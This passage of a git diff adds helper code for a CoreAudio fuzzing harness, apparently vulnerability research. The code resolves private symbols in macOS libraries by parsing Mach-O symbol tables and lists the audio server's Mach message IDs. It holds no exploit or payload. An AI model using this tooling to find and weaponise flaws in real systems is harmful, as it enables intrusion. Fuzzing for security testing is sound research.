+ printf("Symbol lookup failed\n"); + return 0; + } + Mach_Processing_Function = (t_Mach_Processing_Function)symbol_address; + + return 1; +} + +int initAudioHardwareServer(const char *libraryPath, const char *symbolName) { + void *coreAudioBaseAddress = LoadLibrary(libraryPath); + if (!coreAudioBaseAddress) { + printf("LoadLibrary failed\n"); + return 0; + } + void *symbol_address = GetSymbolAddress(coreAudioBaseAddress, symbolName); + if(!symbol_address) { + printf("Symbol lookup failed\n"); + return 0; + } + AudioHardwareStartServer = (t_AudioHardwareStartServer)symbol_address; + + return 1; +} + +int initNextObjectId(const char *libraryPath, const char *symbolName) { + void *coreAudioBaseAddress = LoadLibrary(libraryPath); + if (!coreAudioBaseAddress) { + printf("LoadLibrary failed\n"); + return 0; + } + void *symbol_address = GetSymbolAddress(coreAudioBaseAddress, symbolName); + if(!symbol_address) { + printf("Symbol lookup failed\n"); + return 0; + } + NextObjectID = (uint64_t *)symbol_address; + + return 1; +} \ No newline at end of file diff --git a/CoreAudioFuzz/helpers/initialization.h b/CoreAudioFuzz/helpers/initialization.h new file mode 100644 index 0000000..ffc9ca4 --- /dev/null +++ b/CoreAudioFuzz/helpers/initialization.h @@ -0,0 +1,24 @@ +/* +Copyright 2025 Google LLC + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + https://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +#include "harness.h" +#include "load_library.h" + +int initMessageHandler(const char *libraryPath, const char *symbolName); + +int initAudioHardwareServer(const char *libraryPath, const char *symbolName); + +int initNextObjectId(const char *libraryPath, const char *symbolName); \ No newline at end of file diff --git a/CoreAudioFuzz/helpers/load_library.cc b/CoreAudioFuzz/helpers/load_library.cc new file mode 100644 index 0000000..95cc33b --- /dev/null +++ b/CoreAudioFuzz/helpers/load_library.cc @@ -0,0 +1,109 @@ +/* +Copyright 2025 Google LLC + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + https://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +#include "load_library.h" +#include +#include +#include +#include +#include +#include +#include + +// loads the library and gets its base address +void *LoadLibrary(const char *name) { + dlopen(name, RTLD_LAZY); + + task_dyld_info_data_t task_dyld_info; + mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT; + + kern_return_t krt; + krt = task_info(mach_task_self(), TASK_DYLD_INFO, (task_info_t)&task_dyld_info, &count); + if (krt != KERN_SUCCESS) { + printf("Unable to retrieve task_info, %d\n", krt); + return NULL; + } + struct dyld_all_image_infos *all_image_infos = (struct dyld_all_image_infos *)task_dyld_info.all_image_info_addr; + const struct dyld_image_info *all_image_info_array = all_image_infos->infoArray; + + for (uint32_t i = 0; i < all_image_infos->infoArrayCount; ++i) { + if(strcmp(all_image_info_array[i].imageFilePath, name) == 0) { + return (void*)all_image_info_array[i].imageLoadAddress; + } + } + + return NULL; +} + +void *GetLoadCommand(struct mach_header_64 *mach_header, + void *load_commands_buffer, + uint32_t load_cmd_type, + const char *segname) { + uint64_t load_cmd_addr = (uint64_t)load_commands_buffer; + for (uint32_t i = 0; i < mach_header->ncmds; ++i) { + struct load_command *load_cmd = (struct load_command *)load_cmd_addr; + if (load_cmd->cmd == load_cmd_type) { + if (load_cmd_type != LC_SEGMENT_64 || !strcmp(((struct segment_command_64*)load_cmd)->segname, segname)) { + return load_cmd; + } + } + load_cmd_addr += load_cmd->cmdsize; + } + +return NULL; +} + +void *GetSymbolAddress(void *base_address, const char *symbol_name) { + struct mach_header_64 *mach_header = (struct mach_header_64 *)base_address; + + void *load_commands_buffer = (void *)((uint64_t)base_address + sizeof(struct mach_header_64)); + + struct symtab_command *symtab_cmd = (struct symtab_command *)GetLoadCommand(mach_header, load_commands_buffer, LC_SYMTAB, NULL); + + struct segment_command_64 *linkedit_cmd = (struct segment_command_64 *)GetLoadCommand(mach_header, load_commands_buffer, LC_SEGMENT_64, "__LINKEDIT"); + + struct segment_command_64 *text_cmd = (struct segment_command_64 *)GetLoadCommand(mach_header, load_commands_buffer, LC_SEGMENT_64, "__TEXT"); + + uint64_t file_vm_slide = (uint64_t)base_address - text_cmd->vmaddr; + + char *strtab = (char *)linkedit_cmd->vmaddr + file_vm_slide + + symtab_cmd->stroff - linkedit_cmd->fileoff; + + char *symtab = (char *)(linkedit_cmd->vmaddr + file_vm_slide + + symtab_cmd->symoff - linkedit_cmd->fileoff); + + void *symbol_address = NULL; + + size_t curr_symbol_address = (size_t)symtab; + + for (int i = 0; i < (int)symtab_cmd->nsyms; ++i) { + struct nlist_64 curr_symbol = *(struct nlist_64*)curr_symbol_address; + if ((curr_symbol.n_type & N_TYPE) == N_SECT) { + char *curr_sym_name = NULL; + curr_sym_name = strtab + curr_symbol.n_un.n_strx; + + //printf("%s\n", curr_sym_name); + if (!strcmp(curr_sym_name, symbol_name)) { + symbol_address = (void*)((uint64_t)base_address - text_cmd->vmaddr + curr_symbol.n_value); + break; + } + } + + curr_symbol_address += sizeof(struct nlist_64); + } + + return symbol_address; +} \ No newline at end of file diff --git a/CoreAudioFuzz/helpers/load_library.h b/CoreAudioFuzz/helpers/load_library.h new file mode 100644 index 0000000..85ba96e --- /dev/null +++ b/CoreAudioFuzz/helpers/load_library.h @@ -0,0 +1,28 @@ +/* +Copyright 2025 Google LLC + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + https://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +#ifndef MACH_HELPERS_H +#define MACH_HELPERS_H + +#include "harness.h" +#include +#include + +void *LoadLibrary(const char *name); +void *GetLoadCommand(struct mach_header_64 *mach_header, void *load_commands_buffer, uint32_t load_cmd_type, const char *segname); +void *GetSymbolAddress(void *base_address, const char *symbol_name); + +#endif \ No newline at end of file diff --git a/CoreAudioFuzz/helpers/message.cc b/CoreAudioFuzz/helpers/message.cc new file mode 100644 index 0000000..bd157e7 --- /dev/null +++ b/CoreAudioFuzz/helpers/message.cc @@ -0,0 +1,134 @@ +/* +Copyright 2025 Google LLC + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + https://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +#include "message.h" + +const char* message_id_to_string(message_id_enum message_id) { + switch (message_id) { + case XSystem_Open: return "XSystem_Open"; + case XSystem_Close: return "XSystem_Close"; + case XSystem_GetObjectInfo: return "XSystem_GetObjectInfo"; + case XSystem_CreateIOContext: return "XSystem_CreateIOContext"; + case XSystem_DestroyIOContext: return "XSystem_DestroyIOContext"; + case XSystem_CreateMetaDevice: return "XSystem_CreateMetaDevice"; + case XSystem_DestroyMetaDevice: return "XSystem_DestroyMetaDevice"; + case XSystem_ReadSetting: return "XSystem_ReadSetting"; + case XSystem_WriteSetting: return "XSystem_WriteSetting"; + case XSystem_DeleteSetting: return "XSystem_DeleteSetting"; + case XIOContext_SetClientControlPort: return "XIOContext_SetClientControlPort"; + case XIOContext_Start: return "XIOContext_Start"; + case XIOContext_Stop: return "XIOContext_Stop"; + case XObject_HasProperty: return "XObject_HasProperty"; + case XObject_IsPropertySettable: return "XObject_IsPropertySettable"; + case XObject_GetPropertyData: return "XObject_GetPropertyData"; + case XObject_GetPropertyData_DI32: return "XObject_GetPropertyData_DI32"; + case XObject_GetPropertyData_DI32_QI32: return "XObject_GetPropertyData_DI32_QI32"; + case XObject_GetPropertyData_DI32_QCFString: return "XObject_GetPropertyData_DI32_QCFString"; + case XObject_GetPropertyData_DAI32: return "XObject_GetPropertyData_DAI32"; + case XObject_GetPropertyData_DAI32_QAI32: return "XObject_GetPropertyData_DAI32_QAI32"; + case XObject_GetPropertyData_DCFString: return "XObject_GetPropertyData_DCFString"; + case XObject_GetPropertyData_DCFString_QI32: return "XObject_GetPropertyData_DCFString_QI32"; + case XObject_GetPropertyData_DF32: return "XObject_GetPropertyData_DF32"; + case XObject_GetPropertyData_DF32_QF32: return "XObject_GetPropertyData_DF32_QF32"; + case XObject_GetPropertyData_DF64: return "XObject_GetPropertyData_DF64"; + case XObject_GetPropertyData_DAF64: return "XObject_GetPropertyData_DAF64"; + case XObject_GetPropertyData_DPList: return "XObject_GetPropertyData_DPList"; + case XObject_GetPropertyData_DCFURL: return "XObject_GetPropertyData_DCFURL"; + case XObject_SetPropertyData: return "XObject_SetPropertyData"; + case XObject_SetPropertyData_DI32: return "XObject_SetPropertyData_DI32"; + case XObject_SetPropertyData_DF32: return "XObject_SetPropertyData_DF32"; + case XObject_SetPropertyData_DF64: return "XObject_SetPropertyData_DF64"; + case XObject_SetPropertyData_DCFString: return "XObject_SetPropertyData_DCFString"; + case XObject_SetPropertyData_DPList: return "XObject_SetPropertyData_DPList"; + case XObject_AddPropertyListener: return "XObject_AddPropertyListener"; + case XObject_RemovePropertyListener: return "XObject_RemovePropertyListener"; + case XSystem_OpenWithBundleID: return "XSystem_OpenWithBundleID"; + case XTransportManager_CreateDevice: return "XTransportManager_CreateDevice"; + case XTransportManager_DestroyDevice: return "XTransportManager_DestroyDevice"; + case XObject_GetPropertyData_DCFString_QRaw: return "XObject_GetPropertyData_DCFString_QRaw"; + case XObject_GetPropertyData_DCFString_QCFString: return "XObject_GetPropertyData_DCFString_QCFString"; + case XObject_GetPropertyData_DCFString_QPList: return "XObject_GetPropertyData_DCFString_QPList"; + case XObject_GetPropertyData_DPList_QRaw: return "XObject_GetPropertyData_DPList_QRaw"; + case XObject_GetPropertyData_DPList_QCFString: return "XObject_GetPropertyData_DPList_QCFString"; + case XObject_GetPropertyData_DPList_QPList: return "XObject_GetPropertyData_DPList_QPList"; + case XObject_SetPropertyData_DAI32: return "XObject_SetPropertyData_DAI32"; + case XObject_SetPropertyData_DCFString_QRaw: return "XObject_SetPropertyData_DCFString_QRaw"; + case XObject_SetPropertyData_DCFString_QCFString: return "XObject_SetPropertyData_DCFString_QCFString"; + case XObject_SetPropertyData_DCFString_QPList: return "XObject_SetPropertyData_DCFString_QPList"; + case XObject_SetPropertyData_DPList_QRaw: return "XObject_SetPropertyData_DPList_QRaw"; + case XObject_SetPropertyData_DPList_QCFString: return "XObject_SetPropertyData_DPList_QCFString"; + case XObject_SetPropertyData_DPList_QPList: return "XObject_SetPropertyData_DPList_QPList"; + case XSystem_OpenWithBundleIDAndLinkage: return "XSystem_OpenWithBundleIDAndLinkage"; + case XIOContext_StartAtTime: return "XIOContext_StartAtTime"; + case XObject_GetPropertyData_DAI64: return "XObject_GetPropertyData_DAI64"; + case XObject_GetPropertyData_DAI64_QAI64: return "XObject_GetPropertyData_DAI64_QAI64"; + case XObject_SetPropertyData_DAI64: return "XObject_SetPropertyData_DAI64"; + case XIOContext_Start_With_WorkInterval: return "XIOContext_Start_With_WorkInterval"; + case XIOContext_Fetch_Workgroup_Port: return "XIOContext_Fetch_Workgroup_Port"; + case XSystem_OpenWithBundleIDLinkageAndKind: return "XSystem_OpenWithBundleIDLinkageAndKind"; + case XSystem_OpenWithBundleIDLinkageAndKindAndSynchronousGroupProperties: return "XSystem_OpenWithBundleIDLinkageAndKindAndSynchronousGroupProperties"; + case XSystem_OpenWithBundleIDLinkageAndKindAndShmem: return "XSystem_OpenWithBundleIDLinkageAndKindAndShmem"; + case XIOContext_Start_Shmem: return "XIOContext_Start_Shmem"; + case XIOContext_StartAtTime_Shmem: return "XIOContext_StartAtTime_Shmem"; + case XIOContext_Start_With_WorkInterval_Shmem: return "XIOContext_Start_With_WorkInterval_Shmem"; + case XSystem_OpenWithBundleIDLinkageAndKindAndSynchronousGroupPropertiesAndShmem: return "XSystem_OpenWithBundleIDLinkageAndKindAndSynchronousGroupPropertiesAndShmem"; + case XIOContext_WaitForTap: return "XIOContext_WaitForTap"; + case XIOContext_StopWaitingForTap: return "XIOContext_StopWaitingForTap"; + case XIOContext_Start_With_Shmem_SemaphoreTimeout: return "XIOContext_Start_With_Shmem_SemaphoreTimeout"; + case XIOContext_StartAtTime_With_Shmem_SemaphoreTimeout: return "XIOContext_StartAtTime_With_Shmem_SemaphoreTimeout"; + case XSystem_OpenWithBundleIDLinkageAndKindAndSynchronousGroupPropertiesAndShmemAndTimeout: return "XSystem_OpenWithBundleIDLinkageAndKindAndSynchronousGroupPropertiesAndShmemAndTimeout"; + default: return "Unknown Message ID"; + } +} + +std::set ool_descriptor_set = { + XObject_SetPropertyData, + XIOContext_SetClientControlPort, + XIOContext_Start, + XIOContext_StartAtTime, + XIOContext_Start_With_WorkInterval, + XObject_GetPropertyData, + XObject_GetPropertyData_DAI32_QAI32, + XObject_GetPropertyData_DAI64_QAI64, + XObject_GetPropertyData_DCFString_QCFString, + XObject_GetPropertyData_DCFString_QPList, + XObject_GetPropertyData_DCFString_QRaw, + XObject_GetPropertyData_DI32_QCFString, + XObject_GetPropertyData_DPList_QCFString, + XObject_GetPropertyData_DPList_QPList, + XObject_GetPropertyData_DPList_QRaw, + XObject_SetPropertyData_DAI32, + XObject_SetPropertyData_DAI64, + XObject_SetPropertyData_DCFString, + XObject_SetPropertyData_DCFString_QCFString, + XObject_SetPropertyData_DCFString_QPList, + XObject_SetPropertyData_DCFString_QRaw, + XObject_SetPropertyData_DPList, + XObject_SetPropertyData_DPList_QCFString, + XObject_SetPropertyData_DPList_QPList, + XObject_SetPropertyData_DPList_QRaw, + XSystem_CreateIOContext, + XSystem_CreateMetaDevice, + XSystem_DeleteSetting, + XSystem_Open, + XSystem_OpenWithBundleID, + XSystem_OpenWithBundleIDAndLinkage, + XSystem_OpenWithBundleIDLinkageAndKind, + XSystem_OpenWithBundleIDLinkageAndKindAndSynchronousGroupProperties, + XSystem_ReadSetting, + XSystem_WriteSetting, + XTransportManager_CreateDevice +}; \ No newline at end of file diff --git a/CoreAudioFuzz/helpers/message.h b/CoreAudioFuzz/helpers/message.h new file mode 100644 index 0000000..0704570 --- /dev/null +++ b/CoreAudioFuzz/helpers/message.h @@ -0,0 +1,101 @@ +/* +Copyright 2025 Google LLC + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + https://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +#ifndef MESSAGE_H +#define MESSAGE_H + +#include +#include + +typedef enum { + XSystem_Open = 1010000, + XSystem_Close = 1010001, + XSystem_GetObjectInfo = 1010002, + XSystem_CreateIOContext = 1010003, + XSystem_DestroyIOContext = 1010004, + XSystem_CreateMetaDevice = 1010005, + XSystem_DestroyMetaDevice = 1010006, + XSystem_ReadSetting = 1010007, + XSystem_WriteSetting = 1010008, + XSystem_DeleteSetting = 1010009, + XIOContext_SetClientControlPort = 1010010, + XIOContext_Start = 1010011, + XIOContext_Stop = 1010012, + XObject_HasProperty = 1010013, + XObject_IsPropertySettable = 1010014, + XObject_GetPropertyData = 1010015, + XObject_GetPropertyData_DI32 = 1010016, + XObject_GetPropertyData_DI32_QI32 = 1010017, + XObject_GetPropertyData_DI32_QCFString = 1010018, + XObject_GetPropertyData_DAI32 = 1010019, + XObject_GetPropertyData_DAI32_QAI32 = 1010020, + XObject_GetPropertyData_DCFString = 1010021, + XObject_GetPropertyData_DCFString_QI32 = 1010022, + XObject_GetPropertyData_DF32 = 1010023, + XObject_GetPropertyData_DF32_QF32 = 1010024, + XObject_GetPropertyData_DF64 = 1010025, + XObject_GetPropertyData_DAF64 = 1010026, + XObject_GetPropertyData_DPList = 1010027, + XObject_GetPropertyData_DCFURL = 1010028, + XObject_SetPropertyData = 1010029, + XObject_SetPropertyData_DI32 = 1010030, + XObject_SetPropertyData_DF32 = 1010031, + XObject_SetPropertyData_DF64 = 1010032, + XObject_SetPropertyData_DCFString = 1010033, + XObject_SetPropertyData_DPList = 1010034, + XObject_AddPropertyListener = 1010035, + XObject_RemovePropertyListener = 1010036, + XSystem_OpenWithBundleID = 1010037, + XTransportManager_CreateDevice = 1010038, + XTransportManager_DestroyDevice = 1010039, + XObject_GetPropertyData_DCFString_QRaw = 1010040, + XObject_GetPropertyData_DCFString_QCFString = 1010041, + XObject_GetPropertyData_DCFString_QPList = 1010042, + XObject_GetPropertyData_DPList_QRaw = 1010043, + XObject_GetPropertyData_DPList_QCFString = 1010044, + XObject_GetPropertyData_DPList_QPList = 1010045, + XObject_SetPropertyData_DAI32 = 1010046, + XObject_SetPropertyData_DCFString_QRaw = 1010047, + XObject_SetPropertyData_DCFString_QCFString = 1010048, + XObject_SetPropertyData_DCFString_QPList = 1010049, + XObject_SetPropertyData_DPList_QRaw = 1010050, + XObject_SetPropertyData_DPList_QCFString = 1010051, + XObject_SetPropertyData_DPList_QPList = 1010052, + XSystem_OpenWithBundleIDAndLinkage = 1010053, + XIOContext_StartAtTime = 1010054, + XObject_GetPropertyData_DAI64 = 1010055, + XObject_GetPropertyData_DAI64_QAI64 = 1010056, + XObject_SetPropertyData_DAI64 = 1010057, + XIOContext_Start_With_WorkInterval = 1010058, + XIOContext_Fetch_Workgroup_Port = 1010059, + XSystem_OpenWithBundleIDLinkageAndKind = 1010060, + XSystem_OpenWithBundleIDLinkageAndKindAndSynchronousGroupProperties = 1010061, + XSystem_OpenWithBundleIDLinkageAndKindAndShmem = 1010062, + XIOContext_Start_Shmem = 1010063, + XIOContext_StartAtTime_Shmem = 1010064, + XIOContext_Start_With_WorkInterval_Shmem = 1010065, + XSystem_OpenWithBundleIDLinkageAndKindAndSynchronousGroupPropertiesAndShmem = 1010066, + XIOContext_WaitForTap = 1010067, + XIOContext_StopWaitingForTap = 1010068, + XIOContext_Start_With_Shmem_SemaphoreTimeout = 1010069, + XIOContext_StartAtTime_With_Shmem_SemaphoreTimeout = 1010070, + XSystem_OpenWithBundleIDLinkageAndKindAndSynchronousGroupPropertiesAndShmemAndTimeout = 1010071 +} message_id_enum; + +extern std::set ool_descriptor_set; +extern const char* message_id_to_string(message_id_enum msg_id); + +#endif // MESSAGE_H \ No newline at end of file diff --git a/CoreAudioFuzz/helpers/message_ids.cc b/CoreAudioFuzz/helpers/message_ids.cc new file mode 100644 index 0000000..08d7f6e --- /dev/null +++ b/CoreAudioFuzz/helpers/message_ids.cc @@ -0,0 +1,85 @@ +/* +Copyright 2025 Google LLC + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + https://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +#include "message_ids.h" + +const char* message_id_to_string(message_id_enum msg_id) { + switch (msg_id) { + case XSystem_Open: return "XSystem_Open"; + case XSystem_Close: return "XSystem_Close"; + case XSystem_GetObjectInfo: return "XSystem_GetObjectInfo"; + case XSystem_CreateIOContext: return "XSystem_CreateIOContext"; + case XSystem_DestroyIOContext: return "XSystem_DestroyIOContext"; + case XSystem_CreateMetaDevice: return "XSystem_CreateMetaDevice"; + case XSystem_DestroyMetaDevice: return "XSystem_DestroyMetaDevice"; + case XSystem_ReadSetting: return "XSystem_ReadSetting"; + case XSystem_WriteSetting: return "XSystem_WriteSetting"; + case XSystem_DeleteSetting: return "XSystem_DeleteSetting"; + case XIOContext_SetClientControlPort: return "XIOContext_SetClientControlPort"; + case XIOContext_Start: return "XIOContext_Start"; + case XIOContext_Stop: return "XIOContext_Stop"; + case XObject_HasProperty: return "XObject_HasProperty"; + case XObject_IsPropertySettable: return "XObject_IsPropertySettable"; + case XObject_GetPropertyData: return "XObject_GetPropertyData"; + case XObject_GetPropertyData_DI32: return "XObject_GetPropertyData_DI32"; + case XObject_GetPropertyData_DI32_QI32: return "XObject_GetPropertyData_DI32_QI32"; + case XObject_GetPropertyData_DI32_QCFString: return "XObject_GetPropertyData_DI32_QCFString"; + case XObject_GetPropertyData_DAI32: return "XObject_GetPropertyData_DAI32"; + case XObject_GetPropertyData_DAI32_QAI32: return "XObject_GetPropertyData_DAI32_QAI32"; + case XObject_GetPropertyData_DCFString: return "XObject_GetPropertyData_DCFString"; + case XObject_GetPropertyData_DCFString_QI32: return "XObject_GetPropertyData_DCFString_QI32"; + case XObject_GetPropertyData_DF32: return "XObject_GetPropertyData_DF32"; + case XObject_GetPropertyData_DF32_QF32: return "XObject_GetPropertyData_DF32_QF32"; + case XObject_GetPropertyData_DF64: return "XObject_GetPropertyData_DF64"; + case XObject_GetPropertyData_DAF64: return "XObject_GetPropertyData_DAF64"; + case XObject_GetPropertyData_DPList: return "XObject_GetPropertyData_DPList"; + case XObject_GetPropertyData_DCFURL: return "XObject_GetPropertyData_DCFURL"; + case XObject_SetPropertyData: return "XObject_SetPropertyData"; + case XObject_SetPropertyData_DI32: return "XObject_SetPropertyData_DI32"; + case XObject_SetPropertyData_DF32: return "XObject_SetPropertyData_DF32"; + case XObject_SetPropertyData_DF64: return "XObject_SetPropertyData_DF64"; + case XObject_SetPropertyData_DCFString: return "XObject_SetPropertyData_DCFString"; + case XObject_SetPropertyData_DPList: return "XObject_SetPropertyData_DPList"; + case XObject_AddPropertyListener: return "XObject_AddPropertyListener"; + case XObject_RemovePropertyListener: return "XObject_RemovePropertyListener"; + case XSystem_OpenWithBundleID: return "XSystem_OpenWithBundleID"; + case XTransportManager_CreateDevice: return "XTransportManager_CreateDevice"; + case XTransportManager_DestroyDevice: return "XTransportManager_DestroyDevice"; + case XObject_GetPropertyData_DCFString_QRaw: return "XObject_GetPropertyData_DCFString_QRaw"; + case XObject_GetPropertyData_DCFString_QCFString: return "XObject_GetPropertyData_DCFString_QCFString"; + case XObject_GetPropertyData_DCFString_QPList: return "XObject_GetPropertyData_DCFString_QPList"; + case XObject_GetPropertyData_DPList_QRaw: return "XObject_GetPropertyData_DPList_QRaw"; + case XObject_GetPropertyData_DPList_QCFString: return "XObject_GetPropertyData_DPList_QCFString"; + case XObject_GetPropertyData_DPList_QPList: return "XObject_GetPropertyData_DPList_QPList"; + case XObject_SetPropertyData_DAI32: return "XObject_SetPropertyData_DAI32"; + case XObject_SetPropertyData_DCFString_QRaw: return "XObject_SetPropertyData_DCFString_QRaw"; + case XObject_SetPropertyData_DCFString_QCFString: return "XObject_SetPropertyData_DCFString_QCFString"; + case XObject_SetPropertyData_DCFString_QPList: return "XObject_SetPropertyData_DCFString_QPList"; + case XObject_SetPropertyData_DPList_QRaw: return "XObject_SetPropertyData_DPList_QRaw"; + case XObject_SetPropertyData_DPList_QCFString: return "XObject_SetPropertyData_DPList_QCFString"; + case XObject_SetPropertyData_DPList_QPList: return "XObject_SetPropertyData_DPList_QPList"; + case XSystem_OpenWithBundleIDAndLinkage: return "XSystem_OpenWithBundleIDAndLinkage"; + case XIOContext_StartAtTime: return "XIOContext_StartAtTime"; + case XObject_GetPropertyData_DAI64: return "XObject_GetPropertyData_DAI64"; + case XObject_GetPropertyData_DAI64_QAI64: return "XObject_GetPropertyData_DAI64_QAI64"; + case XObject_SetPropertyData_DAI64: return "XObject_SetPropertyData_DAI64"; + case XIOContext_Start_With_WorkInterval: return "XIOContext_Start_With_WorkInterval"; + case XIOContext_Fetch_Workgroup_Port: return "XIOContext_Fetch_Workgroup_Port"; + case XSystem_OpenWithBundleIDLinkageAndKind: return "XSystem_OpenWithBundleIDLinkageAndKind"; + case XSystem_OpenWithBundleIDLinkageAndKindAndSynchronousGroupProperties: return "XSystem_OpenWithBundleIDLinkageAndKindAndSynchronousGroupProperties"; + default: return "Unknown Message ID"; + } +} \ No newline at end of file diff --git a/CoreAudioFuzz/helpers/message_ids.h b/CoreAudioFuzz/helpers/message_ids.h new file mode 100644 index 0000000..ddb3ec5 --- /dev/null +++ b/CoreAudioFuzz/helpers/message_ids.h @@ -0,0 +1,85 @@ +/* +Copyright 2025 Google LLC + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + https://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +#ifndef MESSAGE_IDS_H +#define MESSAGE_IDS_H + +typedef enum { + XSystem_Open = 1010000, + XSystem_Close = 1010001, + XSystem_GetObjectInfo = 1010002, + XSystem_CreateIOContext = 1010003, + XSystem_DestroyIOContext = 1010004, + XSystem_CreateMetaDevice = 1010005, + XSystem_DestroyMetaDevice = 1010006, + XSystem_ReadSetting = 1010007, + XSystem_WriteSetting = 1010008, + XSystem_DeleteSetting = 1010009, + XIOContext_SetClientControlPort = 1010010, + XIOContext_Start = 1010011, + XIOContext_Stop = 1010012, + XObject_HasProperty = 1010013, + XObject_IsPropertySettable = 1010014, + XObject_GetPropertyData = 1010015, + XObject_GetPropertyData_DI32 = 1010016, + XObject_GetPropertyData_DI32_QI32 = 1010017, + XObject_GetPropertyData_DI32_QCFString = 1010018, + XObject_GetPropertyData_DAI32 = 1010019, + XObject_GetPropertyData_DAI32_QAI32 = 1010020, + XObject_GetPropertyData_DCFString = 1010021, + XObject_GetPropertyData_DCFString_QI32 = 1010022, + XObject_GetPropertyData_DF32 = 1010023, + XObject_GetPropertyData_DF32_QF32 = 1010024, + XObject_GetPropertyData_DF64 = 1010025, + XObject_GetPropertyData_DAF64 = 1010026, + XObject_GetPropertyData_DPList = 1010027, + XObject_GetPropertyData_DCFURL = 1010028, + XObject_SetPropertyData = 1010029, + XObject_SetPropertyData_DI32 = 1010030, + XObject_SetPropertyData_DF32 = 1010031, + XObject_SetPropertyData_DF64 = 1010032, + XObject_SetPropertyData_DCFString = 1010033, + XObject_SetPropertyData_DPList = 1010034, + XObject_AddPropertyListener = 1010035, + XObject_RemovePropertyListener = 1010036, + XSystem_OpenWithBundleID = 1010037, + XTransportManager_CreateDevice = 1010038, + XTransportManager_DestroyDevice = 1010039, + XObject_GetPropertyData_DCFString_QRaw = 1010040, + XObject_GetPropertyData_DCFString_QCFString = 1010041, + XObject_GetPropertyData_DCFString_QPList = 1010042, + XObject_GetPropertyData_DPList_QRaw = 1010043, + XObject_GetPropertyData_DPList_QCFString = 1010044, + XObject_GetPropertyData_DPList_QPList = 1010045, + XObject_SetPropertyData_DAI32 = 1010046, + XObject_SetPropertyData_DCFString_QRaw = 1010047, + XObject_SetPropertyData_DCFString_QCFString = 1010048, + XObject_SetPropertyData_DCFString_QPList = 1010049, + XObject_SetPropertyData_DPList_QRaw = 1010050, + XObject_SetPropertyData_DPList_QCFString = 1010051, + XObject_SetPropertyData_DPList_QPList = 1010052, + XSystem_OpenWithBundleIDAndLinkage = 1010053, + XIOContext_StartAtTime = 1010054, + XObject_GetPropertyData_DAI64 = 1010055, + XObject_GetPropertyData_DAI64_QAI64 = 1010056, + XObject_SetPropertyData_DAI64 = 1010057, + XIOContext_Start_With_WorkInterval = 1010058, + XIOContext_Fetch_Workgroup_Port = 1010059, + XSystem_OpenWithBundleIDLinkageAndKind = 1010060, + XSystem_OpenWithBundleIDLinkageAndKindAndSynchronousGroupProperties = 1010061 +} message_id_enum; + +#endif // MESSAGE_IDS_H diff --git a/CoreAudioFuzz/jackalope-modifications/CMakeLists.txt b/CoreAudioFuzz/jackalope-modifications/CMakeLists.txt new file mode 100644 index 0000000..a61f041 --- /dev/null +++ b/CoreAudioFuzz/jackalope-modifications/CMakeLists.txt @@ -0,0 +1,28 @@ +# Copyright 2025 Google LLC +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +cmake_minimum_required(VERSION "3.1") +set (CMAKE_CXX_STANDARD 17) + +include_directories(${CMAKE_CURRENT_SOURCE_DIR}/Jackalope) + +add_subdirectory(Jackalope) + +add_executable(coreaudiofuzzer + main.cpp + function_hooks.cpp + tinyinsthookinstrumentation.cpp +) + +target_link_libraries(coreaudiofuzzer fuzzerlib) diff --git a/CoreAudioFuzz/jackalope-modifications/README.md b/CoreAudioFuzz/jackalope-modifications/README.md new file mode 100644 index 0000000..92d84f2 --- /dev/null +++ b/CoreAudioFuzz/jackalope-modifications/README.md @@ -0,0 +1,12 @@ +# Build instructions + +``` +git clone https://github.com/googleprojectzero/Jackalope.git +cd Jackalope +git clone --recurse-submodules https://github.com/googleprojectzero/TinyInst.git +cd .. +mkdir build +cd build +cmake -G Xcode .. +cmake --build . --config Release +``` diff --git 